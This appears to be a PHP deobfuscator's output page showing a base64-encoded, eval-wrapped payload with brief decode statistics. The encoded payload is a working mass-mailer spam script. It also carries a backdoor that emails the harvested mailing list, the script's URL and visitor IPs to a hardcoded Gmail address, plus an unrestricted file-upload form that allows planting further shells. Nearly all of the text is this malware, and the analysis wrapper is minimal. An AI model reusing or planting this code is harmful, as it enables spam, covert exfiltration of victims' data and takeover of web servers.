CAgICAgcHJpbnQgIlBsZWFzZSBjb21wbGV0ZSBhbGwgZmllbGRzIGJlZm9yZSBzZW5kaW5nIHlvdXIgbWVzc2FnZS4iOw0KICAgICAgICBleGl0OwkNCgl9DQokaGVhZGQgICA9ICJGcm9tOiAgVC5DLlQ8ZHIucmV4YTFAZHIucmV4YTEudG4+IjsNCiRzdWJiICAgID0gIm1haWxsaXN0IG11c2xpbSAyMDE0IjsNCiRtYXNzZ2UgID0gIkV4cGxvaXQgOiBodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iP1YxPXNlbWFoDQotLS0tLS0tLS0tLS0tLS0tLS0tDQokZW1haWxsaXN0DQotLS0tLS0tLS0tLS0tLS0tLS0tIjsNCkBtYWlsKCJzbXIwODAxNEBnbWFpbC5jb20iLCRzdWJiLCRtYXNzZ2UsJGhlYWRkKTsNCg0KCSRuc2U9YXJyYXkoKTsNCgkkYWxsZW1haWxzID0gc3BsaXQoIlxuIiwgJGVtYWlsbGlzdCk7DQogICAgICAgIAkkbnVtZW1haWxzID0gY291bnQoJGFsbGVtYWlscyk7DQogICAgICAgIAlpZighZW1wdHkoJF9QT1NUWyd3YWl0J10pICYmICRfUE9TVFsnd2FpdCddID4gMCl7DQogICAgICAgIAkJc2V0X3RpbWVfbGltaXQoaW50dmFsKCRfUE9TVFsnd2FpdCddKSokbnVtZW1haWxzKjM2MDApOw0KICAgICAgICAJfWVsc2V7DQogICAgICAgIAkJc2V0X3RpbWVfbGltaXQoJG51bWVtYWlscyozNjAwKTsNCiAgICAgICAgCX0NCiAgICAgICAJCWlmKCFlbXB0eSgkc212KSl7DQogICAgICAgCQkJJHNtdm4rPSRzbXY7DQogICAgICAgCQkJJHRtbj0kbnVtZW1haWxzLyRzbXYrMTsNCgkJCX1lbHNlew0KICAgICAgIAkJCSR0bW49MTsNCiAgICAgICAJCX0NCiAgICAgICAgICAJZm9yKCR4PTA7ICR4PCRudW1lbWFpbHM7ICR4Kyspew0KICAgICAgICAgICAgICAgICR0byA9ICRhbGxlbWFpbHNbJHhdOw0KICAgICAgICAgICAgICAgIGlmICgkdG8pew0KCSAgICAgICAgICAgICAgICAkdG8gPSBlcmVnX3JlcGxhY2UoIiAiLCAiIiwgJHRvKTsNCgkgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBlcmVnX3JlcGxhY2UoIiNFTSMiLCAkdG8sICRtZXNzYWdlKTsNCgkgICAgICAgICAgICAgICAgJHN1YmplY3QgPSBlcmVnX3JlcGxhY2UoIiNFTSMiLCAkdG8sICRzdWJqZWN0KTsNCgkgICAgICAgICAgICAgICAgZmx1c2goKTsNCgkgICAgICAgICAgICAgICAgJGhlYWRlciA9ICJGcm9tOiAkcmVhbG5hbWUgPCRmcm9tPlxyXG4iOw0KCSAgICAgICAgICAgICAgICAkaGVhZGVyIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KCSAgICAgICAgICAgICAgICAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbFxyXG4iOw0KCSAgICAgICAgICAgICAgICBpZiAoJHg9PTAgJiYgIWVtcHR5KCR0ZW0pKSB7DQoJICAgICAgICAgICAgICAgIAlpZighQG1haWwoJHRlbSwkc3ViamVjdCwkbWVzc2FnZSwkaGVhZGVyKSl7DQoJICAgICAgICAgICAgICAgIAkJcHJpbnQoJ1RoZSB0ZXN0IFBvc3Qgd2FzIG5vdCBTdWJtaXR0ZWQuPGJyIC8+Jyk7DQoJICAgICAgICAgICAgICAgIAkJJHRtbnMrPTE7DQoJICAgICAgICAgICAgICAgIAl9ZWxzZXsNCgkgICAgICAgICAgICAgICAgCQlwcmludCgnWW91ciBNZXNzYWdlIHdhcyBTZW50IFRlc3QuPGJyIC8+Jyk7DQoJICAgICAgICAgICAgICAgIAkJJHRtcys9MTsNCgkgICAgICAgICAgICAgICAgCX0NCgkgICAgICAgICAgICAgICAgfQ0KCSAgICAgICAgICAgICAgICBpZigkeD09JHNtdm4gJiYgIWVtcHR5KCRfUE9TVFsnc212J10pKXsNCgkgICAgICAgICAgICAgICAgCWlmKCFAbWFpbCgkdGVtLCRzdWJqZWN0LCRtZXNzYWdlLCRoZWFkZXIpKXsNCgkgICAgICAgICAgICAgICAgCQlwcmludCgnVGhlIHRlc3QgUG9zdCB3YXMgbm90IFN1Ym1pdHRlZC48YnIgLz4nKTsNCgkgICAgICAgICAgICAgICAgCQkkdG1ucys9MTsNCgkgICAgICAgICAgICAgICAgCX1lbHNlew0KCSAgICAgICAgICAgICAgICAJCXByaW50KCdZb3VyIE1lc3NhZ2Ugd2FzIFNlbnQgVGVzdC48YnIgLz4nKTsNCgkgICAgICAgICAgICAgICAgCQkkdG1zKz0xOw0KCSAgICAgICAgICAgICAgICAJfQ0KCSAgICAgICAgICAgICAgICAJJHNtdm4rPSRzbXY7DQoJICAgICAgICAgICAgICAgIH0NCgkgICAgICAgICAgICAgICAgcHJpbnQgIiR0byAuLi4uLi4uICI7DQoJCQkJCSRtc2VudCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVyKTsNCgkgICAgICAgICAgICAgICAgJHh4ID0gJHgrMTsNCgkgICAgICAgICAgICAgICAgJHR4dHNwYW1lZCA9ICJzcGFtbWVkICM6KSI7DQoJICAgICAgICAgICAgICAgIGlmKCEkbXNlbnQpew0KCSAgICAgICAgICAgICAgICAJJHR4dHNwYW1lZCA9ICJlcnJvciAjOi8iOyAgDQoJICAgICAgICAgICAgICAgIAkkbnMrPTE7DQoJICAgICAgICAgICAgICAgIAkkbnNlWyRuc109JHRvOw0KCSAgICAgICAgICAgICAgICB9DQoJICAgICAgICAgICAgICAgIHByaW50ICIkeHggLyAkbnVtZW1haWxzIC4uLi4uLi4gICR0eHRzcGFtZWQ8YnI+IjsNCgkgICAgICAgICAgICAgICAgZmx1c2goKTsNCgkgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCR3YWl0KSYmICR4PCRudW1lbWFpbHMtMSl7DQoJCQkJCQkJc2xlZXAoJHdhaXQpOw0KICAgICAgICAgICAgICAgIAl9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQp9DQoNCg0KPz4NCjw/cGhwDQplY2hvICc8Yj48YnI+PGJyPicucGhwX3VuYW1lKCkuJzxicj48L2I+JzsNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCiBpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5VcGxvYWRlZCBTdWNjZXNzZnVsbHk8L2I+PGJyPjxicj4nOyB9DQogZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsZWQhIDwvYj48YnI+PGJyPic7IH0NCn0NCj8+PC9wPg0KPC9ib2R5Pg0KPCEtLQ0KdG4hMTcNCi0tPg0KPC9odG1sPg0KPD9waHAgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOw0KJGhvc3RuYW1lID0gZ2V0aG9zdGJ5YWRkcigkaXApOw0KJGJpbHNtZyA9ICJMaW5rIE1haWxlciA6IGh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSAuICJcclxuIjsNCiRiaWxzbmQgPSJzbXIwODAxNEBnbWFpbC5jb20iOyAvLy9Zb3VyIEU0YWlsIEhlcmUNCiRiaWxzdWIgPSAiTmV3IE1haWxlciBVcGxvYWRlZCAhISAkaXAiOw0KJGJpbGhlYWQgPSAiRnJvbTogTWFpbGVSeWV3IjsNCiRiaWxoZWFkIC49ICRfUE9TVFsnZU1haWxBZGQnXS4iXG4iOw0KJGJpbGhlYWQgLj0gIk1JTUUtVmVyc2lvbjogMS4wXG4iOw0KJGFycj1hcnJheSgkYmlsc25kLCAkSVApOw0KZm9yZWFjaCAoJGFyciBhcyAkYmlsc25kKQ0KbWFpbCgkYmlsc25kLCRiaWxzdWIsJGJpbHNtZywkYmlsaGVhZCwkbWVzc2FnZSk7ID8+DQoNCg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 7f77792605d848c39a2f222f1ab06201
Eval Count 1
Decode Time 94 ms